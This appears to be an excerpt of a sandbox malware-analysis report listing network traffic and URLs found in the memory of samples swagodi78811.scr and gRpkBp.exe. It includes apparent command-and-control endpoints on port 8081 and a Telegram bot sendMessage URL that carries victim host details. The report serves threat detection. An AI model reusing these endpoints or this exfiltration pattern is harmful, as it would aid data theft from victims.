Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 26 Jul 2024 21:45:48 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 26 Jul 2024 21:45:54 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.orgX
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002559000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002539000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002559000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002539000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.comX
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000248D000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002568000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002559000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024DB000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002539000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002439000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002568000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002559000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024DB000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002539000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002439000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002465000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000023DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/X
Source: swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002559000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002539000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002498000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002398000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.orgX
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.665349754.0000000005A80000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.665234805.0000000005C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000009.00000002.393794677.00000000042B0000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.00000000005DF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr.9.dr, gRpkBp.exe.10.dr, swagodi[1].scr.9.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: EQNEDT32.EXE, 00000009.00000002.393794677.00000000042B0000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.00000000005DF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr.9.dr, gRpkBp.exe.10.dr, swagodi[1].scr.9.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.665234805.0000000005C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: EQNEDT32.EXE, 00000009.00000002.393794677.00000000042B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.c
Source: EQNEDT32.EXE, 00000009.00000002.393794677.00000000042B0000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.00000000005DF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr.9.dr, gRpkBp.exe.10.dr, swagodi[1].scr.9.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.392933618.000000000054F000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024B4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000023B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002540000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000024B4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002595000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002586000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000255E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000254E000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.000000000252B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002493000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002482000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000023B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000243E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002457000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000242C000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002449000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.orgX
Source: taskeng.exe, 00000015.00000002.662983168.000000000033E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoftXT7/windows/2004/02/mit/tas
Source: swagodi78811.scr, 0000000A.00000002.410819357.0000000002101000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 00000016.00000002.427914204.00000000021C1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000009.00000002.392933618.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663426332.000000000079D000.00000004.00000020.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663315507.000000000077C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: swagodi78811.scr, 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: swagodi78811.scr, 00000014.00000002.663684485.00000000025A4000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000024B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20a
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: swagodi78811.scr, 00000014.00000002.664602794.000000000352D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://download.visualstud
Source: swagodi78811.scr, 00000014.00000002.663684485.0000000002683000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.0000000002670000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026C4000.00000004.00000800.00020000.00000000.sdmp, swagodi78811.scr, 00000014.00000002.663684485.00000000026B1000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025D2000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.000000000336B000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.664487526.00000000033B7000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.0000000002591000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.000000000257E000.00000004.00000800.00020000.00000000.sdmp, gRpkBp.exe, 0000001D.00000002.663663825.00000000025BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
